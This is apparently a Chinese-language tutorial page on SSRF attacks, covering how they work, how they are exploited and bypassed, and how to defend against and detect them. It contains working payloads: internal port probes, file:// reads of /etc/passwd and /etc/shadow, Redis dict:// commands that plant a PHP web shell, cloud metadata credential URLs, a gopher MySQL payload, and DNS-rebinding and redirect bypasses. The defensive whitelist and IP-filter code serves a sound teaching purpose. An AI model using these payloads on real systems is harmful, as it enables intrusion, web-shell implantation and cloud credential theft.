前置知识: 网络安全

SSRF攻击

00:00
3 min Intermediate 2026/6/14

服务端请求伪造攻击原理、利用场景与防御策略详解。

1. SSRF 攻击原理

1.1 什么是 SSRF

服务请求伪造(Server-Side Request Forgery, SSRF)是攻击者利用服务器发起请求的功能,使服务器向攻击者指定的目标发起请求,从而访问内网资源或进行内网探测。

1.2 攻击流程

1. 攻击者构造恶意 URL → 提交给服务器
2. 服务器未验证 URL → 发起请求
3. 服务器获取内网资源 → 返回给攻击者
4. 攻击者获取内网信息/访问内部服务

1.3 与 CSRF 的区别

比项SSRFCSRF
请求发起方服务器用户浏览器
攻击目标内网服务外部用户操作
心利用服务器网络位置用户认证状态

2. SSRF 利用场景

2.1 内网探测

# 探测内网 IP
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

# 探测端口
http://internal-server:6379  # Redis
http://internal-server:3306  # MySQL
http://internal-server:9200  # Elasticsearch

2.2 读取本地文件

file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ

2.3 攻击内网服务

攻击 Redis

# 通过 SSRF 向 Redis 发送命令
dict://internal-redis:6379/CONFIG SET dir /var/www/html
dict://internal-redis:6379/CONFIG SET dbfilename shell.php
dict://internal-redis:6379/SET payload "<?php system($_GET['cmd']); ?>"
dict://internal-redis:6379/SAVE

攻击云元数据

# AWS 元数据
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP 元数据
http://metadata.google.internal/computeMetadata/v1/

# Azure 元数据
http://169.254.169.254/metadata/instance?api-version=2021-02-01

2.4 协议利用

协议用途
http://内网探测、服务攻击
https://HTTP
file://读取本地文件
dict://攻击 Redis 等
gopher://构造任意 TCP 数据
ftp://FTP 服务探测

Gopher 协议

# 构造 MySQL 查询
gopher://internal-mysql:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00

3. SSRF 绕过技术

3.1 IP 限制绕过

方法示例
十进制 IP0x7f000001 = 127.0.0.1
八进制 IP0177.0.0.1 = 127.0.0.1
IPv6[::1] = 127.0.0.1
短地址http://t.cn/xxx
DNS绑定域名解析为外网 IP,再解析为内网 IP
URL 解析差异http://evil.com#@internal.com

3.2 DNS 重绑定攻击

1. 攻击者控制域名 rebinding.attacker.com
2. 首次解析 → 外网 IP(通过验证)
3. 二次解析 → 内网 IP(实际请求目标)
4. TTL 设为 0,确保快速切换

3.3 开放重定向绕过

# 利用合法网站的重定向功能
http://trusted-site.com/redirect?url=http://internal-server

4. SSRF 防御

4.1 URL 白名单

from urllib.parse import urlparse

ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']

def validate_url(url):
    parsed = urlparse(url)

    # 仅允许 HTTP/HTTPS
    if parsed.scheme not in ['http', 'https']:
        raise ValueError("Only HTTP/HTTPS allowed")

    # 域名白名单
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("Domain not allowed")

    return url

4.2 禁用危险协议

# 仅允许 http 和 https
if not url.startswith(('http://', 'https://')):
    raise ValueError("Invalid protocol")

4.3 内网 IP 过滤

import ipaddress

def is_internal_ip(ip_str):
    ip = ipaddress.ip_address(ip_str)
    internal_ranges = [
        ipaddress.ip_network('10.0.0.0/8'),
        ipaddress.ip_network('172.16.0.0/12'),
        ipaddress.ip_network('192.168.0.0/16'),
        ipaddress.ip_network('127.0.0.0/8'),
        ipaddress.ip_network('169.254.0.0/16'),
        ipaddress.ip_network('::1/128'),
        ipaddress.ip_network('fc00::/7'),
    ]
    return any(ip in net for net in internal_ranges)

4.4 DNS 解析后验证

import socket

def safe_request(url):
    parsed = urlparse(url)
    hostname = parsed.hostname

    # DNS 解析后检查实际 IP
    ip = socket.gethostbyname(hostname)
    if is_internal_ip(ip):
        raise ValueError("Internal IP not allowed")

    # 使用解析后的 IP 发起请求
    # 防止 DNS 重绑定

4.5 网络层防御

措施描述
防火墙规则禁止应用服务器访问内网
VPC 网络隔离应用层与数据层分离
出站代理限制出站请求目标
安全限制元数据访问

5. SSRF 检测

5.1 测试方法

# 基础探测
http://127.0.0.1
http://localhost
http://[::1]

# 云元数据
http://169.254.169.254/latest/meta-data/

# 文件读取
file:///etc/passwd

# 时间差异探测
http://192.168.1.1:80  (开放 → 快速响应)
http://192.168.1.1:81  (关闭 → 超时)

5.2 自动化工具

工具
SSRFmap自动化 SSRF 利用
Gopherus生成 Gopher Payload
Burp Suite手动测试与 Collaborator

知识检测

学习进度

-- 已学文档
--% 知识覆盖率

学习推荐

专注模式